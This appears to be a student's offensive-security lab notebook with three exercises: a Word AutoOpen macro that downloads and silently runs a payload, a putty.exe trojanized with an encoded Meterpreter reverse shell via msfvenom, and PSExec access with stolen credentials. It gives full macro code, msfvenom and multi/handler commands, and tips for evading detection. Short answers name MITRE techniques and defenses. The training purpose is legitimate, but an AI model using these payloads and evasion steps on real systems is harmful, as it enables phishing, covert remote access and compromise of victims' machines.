1. Install Microsoft Word on your Windows 10 host using the provided installer as champuser: https://tinyurl.com/2wfxfyb5
2. Extract the file and double-click on the ‘install’ script.
3. Wait for the install to finish. When it completes, it will have installed Microsoft Word.
4. Ensure Metasploit Framework is installed on your Kali/attack VM (msfconsole)
5. Have network connectivity between your attack VM and the Windows 10 target

6. Perform all tasks as champuser unless otherwise specified

Objective: Create a malicious macro in Microsoft Word that downloads and executes a payload, demonstrating the technique threat actors use in phishing campaigns.

Note: This task demonstrates how macro-based phishing attacks work. The macro you create will download one of the exes from your Metasploit handler and execute it. This is the same technique used by advanced persistent threat groups in targeted attacks.

Sub AutoOpen()
    Dim objShell As Object
    Dim objHTTP As Object
    Dim objStream As Object
    Dim strPath As String
    Dim strURL As String
    
    ' --- CONFIGURATION ---
    ' REPLACE THIS WITH YOUR ACTUAL IP ADDRESS AND RAT NAME
    strURL = "http://YOUR_ACTUAL_IP:PORT/RAT.exe"
    strPath = Environ("USERPROFILE") & "\Documents\launcher.exe"
    ' ---------------------

    ' 1. Validate URL
    If InStr(strURL, "YOUR_ACTUAL_IP") > 0 Then
        MsgBox "ERROR: You must replace YOUR_ACTUAL_IP with your real IP address.", vbCritical
        Exit Sub
    End If
    
    On Error GoTo ErrHandler
    
    ' 2. Download File
    Set objHTTP = CreateObject("MSXML2.XMLHTTP")
    objHTTP.Open "GET", strURL, False
    objHTTP.Send
    
    If objHTTP.Status <> 200 Then
        MsgBox "Download Failed. HTTP Status: " & objHTTP.Status, vbCritical
        Exit Sub
    End If
    
    ' 3. Save File
    Set objStream = CreateObject("ADODB.Stream")
    objStream.Type = 1 ' adTypeBinary
    objStream.Open
    objStream.Write objHTTP.ResponseBody
    objStream.Position = 0
    objStream.SaveToFile strPath, 2 ' adSaveCreateOverWrite
    objStream.Close
    
    ' 4. Verify File Exists
    If Dir(strPath) = "" Then
        MsgBox "CRITICAL: File was not saved to disk.", vbCritical
        Exit Sub
    End If
    
    ' 5. Run File
    Set objShell = CreateObject("WScript.Shell")
    ' Use cmd /c to ensure proper batch execution
    objShell.Run "cmd /c """ & strPath & """", 0, False
    
    Exit Sub

ErrHandler:
    MsgBox "ERROR " & Err.Number & ": " & Err.Description, vbCritical
End Sub

• In one tab:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<KALI_IP> LPORT=5555 -f exe > RAT.exe

cd Desktop
python3 -m http.server 8000

• In another tab run the following series of commands:

msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.17.47
set LPORT 6666
exploit -j

sessions -k 1

1. Explain how this macro achieves code execution

The "AutoOpen" name tells Microsoft Word to automatically run it when a document is open. From there, it downloads RAT.exe from our Linux machine and then saves it to a documents folder.

2. MITRE ATT&CK technique ID

T1566.001 (Phishing via Spearphishing Attachment)

3. Why is the "AutoOpen" macro name significant?

"AutoOpen" macro name is significant because it will tell Microsoft Word to run the macro when a document is opened. This allows the malicious script to be run without having to manually run it.

4. What defensive measures can organizations implement to block macro-based attacks?

A good way to block macro-based attacks to organizations is to completely disable them across the business if they are not business critical. If they are critical to a business, another way could be to configure policies to only accept digitally signed macros using PKI certificates.

Objective: Add a backdoor to a legitimate Windows program that you’d use on a day-to-day basis , demonstrating how supply chain attacks and trojanized software can be used to maintain covert access.

• Download putty

wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe

🚨Don't forget to enable ssh on Linux so it has the ability to receive through port 22🚨

OffSec Resource on backdooring EXE files

msfvenom -a x86 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=10.0.17.47 lport=8000 -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe -o puttyX.exe

• With this command, msf venom injects the meterpreter payload into our executable

• shikata_ga_nai encodes it three times and saves the backdoored file into our webroot directory

• Run

Invoke-WebRequest -Uri "http://10.0.17.47:8000/puttyX.exe" -OutFile "C:\Users\champuser\desktop\putty.exe"

• Open putty and SSH into your Linux machine

** PROBLEM: **

malware successfully embedded into putty. Putty is being uploaded to desktop and run from desktop but whenever I try to run the program it doesn't open.

1. How does this technique achieve persistence and evasion?

This technique achieves persistence and evasion by pretending to be a legitimate program and executing as such. Therefore, the antivirus software can't recognize it at face value.

2. MITRE ATT&CK technique ID

T1027.009 (Embedded Payloads)

**3. Why is it difficult for antivirus software to detect backdoored executables? **

It's difficult for antivirus software to detect backdoored executables because they appear and function the same as normal and verified programs. Antivirus software usually looks at files but since the executable is embedded into the program, it is more difficult to detect.

4. How could an attacker distribute a backdoored executable at scale?

The easiest way for an attacker to distribute a backdoored executable is by posting it publicly, either on a public forum (social media) or a website, where people can freely download it to their devices.

5. What is the risk of using unsigned or unverified software from third-party sources?

Backdoored executables is the risk. You could download software with something malicious embedded in it if you are not already downloading a virus itself.

Objective: Use stolen credentials with Metasploit's PSExec module to gain remote access to the target system and enumerate it using Meterpreter.

1. Ensure you have valid champuser credentials for the Windows 10 VM

2. Configure the Windows 10 VM to allow PSExec by adding the required registry key:

REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

3. Disable the Windows Firewall on the target VM for this lab exercise

1. Search for and configure the PSExec module in Metasploit
2. Set all required options (RHOST, SMBUSER, SMBPASS) and verify with show options
3. Use a Meterpreter payload: windows/x64/meterpreter/reverse_https

Using reverse_https instead of reverse_tcp is significant because HTTPS traffic blends with normal web browsing and is less likely to be flagged by network monitoring tools. The non-default port selection demonstrates operational awareness, as port 4444 is a well-known indicator of Metasploit activity.

4. Use a non-default port (not 4444) to avoid triggering common alerts
5. Execute the module and verify the Meterpreter session is established
6. Run getuid to confirm your user security context
7. Execute the following enumeration commands in Meterpreter and document each:
   • ipconfig
   • sysinfo
   • ps
   • netstat -an
   • 5 additional enumeration commands of your choice

** PROBLEM: Session won't open because "access is denied" **